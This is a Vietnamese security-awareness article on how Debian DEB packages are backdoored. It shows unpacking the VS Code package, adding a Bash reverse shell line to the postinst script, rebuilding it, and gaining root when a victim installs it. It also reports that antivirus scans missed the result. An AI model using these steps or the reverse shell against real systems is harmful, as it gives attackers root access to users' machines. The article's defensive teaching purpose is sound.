File DEB là các gói phần mềm là định dạng chính của phần mềm trên các bản phân phối Linux dựa trên Debian.
Để cài đặt các gói DEB, bạn phải sử dụng trình quản lý gói như dpkg với quyền root. Những kẻ tấn công lợi dụng điều này và đưa những backdoor vào các gói này. Khi bạn cài đặt chúng bằng dpkg hoặc bất kỳ trình quản lý gói nào khác, mã độc cũng sẽ được thực thi cùng lúc và xâm phạm hệ thống của bạn.
Hãy cùng khám phá chính xác cách các gói DEB bị biến thành backdoor và bạn có thể làm gì để bảo vệ chính mình.
Các gói DEB bị biến thành backdoor như thế nào?
Trước khi bạn hiểu cách các gói DEB bị biến thành backdoor, hãy khám phá những gì có bên trong gói DEB. Để minh họa, tác giả bài viết đã tải xuống gói Microsoft Visual Studio Code DEB từ trang web chính thức của Microsoft. Đây chính là gói bạn sẽ tải xuống nếu muốn cài đặt VS Code trên Linux.
Bây giờ, bạn đã tải xuống gói mục tiêu, đã đến lúc giải nén nó. Bạn có thể giải nén gói DEB bằng lệnh dpkg-deb với flag -R theo sau là đường dẫn để lưu trữ nội dung:
dpkg-deb -R <package_name> <path>
Điều này sẽ trích xuất nội dung của gói VS Code.
Di chuyển vào folder, bạn sẽ tìm thấy nhiều thư mục, tuy nhiên, mối quan tâm của ví dụ chỉ nằm trong thư mục DEBIAN. Thư mục này chứa các script bảo trì được thực thi trong quá trình cài đặt với quyền root. Như bạn có thể đã nhận ra, những kẻ tấn công sửa đổi các script trong thư mục này.
Để minh họa, bài viết sẽ sửa đổi script postinst và thêm một Bash reverse TCP shell đơn giản. Đúng như tên gọi, đây là script được thực thi sau khi gói được cài đặt trên hệ thống.
Nó chứa các lệnh hoàn thiện cấu hình như thiết lập liên kết tượng trưng (symbolic link), xử lý dependency, v.v... Bạn có thể tìm thấy rất nhiều loại reverse shell khác nhau trên Internet. Hầu hết chúng sẽ hoạt động giống nhau. Đây là một ví dụ:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Giải thích lệnh:
- bash: Đây là lệnh gọi shell Bash.
- -i: Flag báo cho Bash chạy ở chế độ tương tác, cho phép I/O lệnh thời gian thực.
- >& /dev/tcp/ip/port: Điều này chuyển hướng đầu ra tiêu chuẩn và lỗi tiêu chuẩn tới socket mạng, về cơ bản là thiết lập kết nối TCP tới <ip> và <port>.
- 0>&1: Điều này chuyển hướng đầu vào và đầu ra đến cùng một vị trí, tức là tới socket mạng.
Lưu ý: Đối với những người chưa biết, reverse shell là một loại code mà khi được thực thi trên máy mục tiêu sẽ bắt đầu kết nối trở lại máy của kẻ tấn công. Reverse shell là một cách tuyệt vời để vượt qua các hạn chế của tường lửa vì lưu lượng truy cập được tạo ra từ máy phía sau tường lửa.
Đây là cách script được sửa đổi trông như thế nào:
Như bạn có thể thấy, mọi thứ đều giống nhau nhưng chỉ có một dòng được thêm vào, tức là Bash reverse shell của bài viết. Bây giờ, bạn cần build lại các file về định dạng ".deb". Chỉ cần sử dụng lệnh dpkg với flag --build hoặc sử dụng dpkg-deb với flag -b theo sau là đường dẫn của nội dung được trích xuất:
dpkg --build <directory>
dpkg-deb -b <directory>
Bây giờ, gói DEB có backdoor đã sẵn sàng để được tung ra trên các trang web độc hại. Hãy mô phỏng tình huống trong đó nạn nhân đã tải gói DEB xuống hệ thống của họ và cài đặt nó như bất kỳ gói thông thường nào khác.
Terminal trên cùng là những gì nạn nhân sẽ thấy và terminal bên dưới là của kẻ tấn công. Nạn nhân đang cài đặt gói với sudo dpkg -i và kẻ tấn công đang kiên nhẫn lắng nghe các kết nối đến bằng lệnh netcat trong Linux.
Ngay sau khi quá trình cài đặt kết thúc, hãy lưu ý rằng kẻ tấn công sẽ có được kết nối reverse shell và hiện có quyền truy cập root vào hệ thống của nạn nhân. Bây giờ, bạn đã biết các gói DEB bị biến thành backdoor như thế nào. Tiếp theo, hãy tìm hiểu cách bạn có thể tự bảo vệ mình.
Cách phát hiện xem gói DEB có độc hại không
Bây giờ, bạn hẳn đang tự hỏi làm thế nào để tìm ra các gói DEB bị nhiễm mã độc. Để bắt đầu, bạn có thể thử sử dụng phần mềm diệt virus cho Linux như ClamAV. Rất tiếc, khi ClamAV chạy quét trên gói, nó không gắn cờ gói là độc hại. Đây là kết quả của quá trình quét:
Vì vậy, trừ khi bạn có sẵn giải pháp diệt virus cao cấp, sẽ rất khó để phát hiện các gói DEB độc hại.
Hãy thử sử dụng giải pháp đám mây như trang web VirusTotal:
Như bạn có thể thấy VirusTotal không phát hiện ra điều gì sai với gói. Cách duy nhất để bảo vệ bạn trước những mối đe dọa như vậy là tuân thủ các nguyên tắc bảo mật cơ bản như không tải xuống file từ các nguồn không xác định, luôn kiểm tra hash của file và nói chung, tránh cài đặt phần mềm mờ ám.
Internet có đầy những mối đe dọa như vậy. Cách duy nhất để lướt web mà không làm mất dữ liệu là tỉnh táo và chỉ duyệt các trang web đáng tin cậy. Ngoài ra, đối với Linux, bạn cũng nên thử tìm xem phần mềm bạn đang tải xuống có phiên bản AppImage hay không vì chúng độc lập và có thể được sandbox, do đó, không tiếp xúc với hệ thống của bạn.
Đừng tải xuống gói DEB từ các trang web ngẫu nhiên!
Thực chất, các gói DEB vốn không xấu, nhưng những kẻ tấn công có thể dễ dàng vũ khí hóa và gửi chúng đến nhiều người dùng thiếu sự cảnh giác. Như đã trình bày, gói DEB có thể dễ dàng mở và sửa đổi để thêm code tùy chỉnh chỉ bằng một vài lệnh, khiến nó trở thành vật trung gian phổ biến để vận chuyển phần mềm độc hại.
Ngay cả những giải pháp diệt virus hàng đầu cũng không phát hiện được các backdoor đơn giản trên những gói DEB. Vì vậy, điều tốt nhất bạn nên làm là chú ý an toàn, luôn cảnh giác khi lướt web và chỉ tải xuống phần mềm từ các trang download chính thức hoặc những trang web được cộng đồng tin cậy.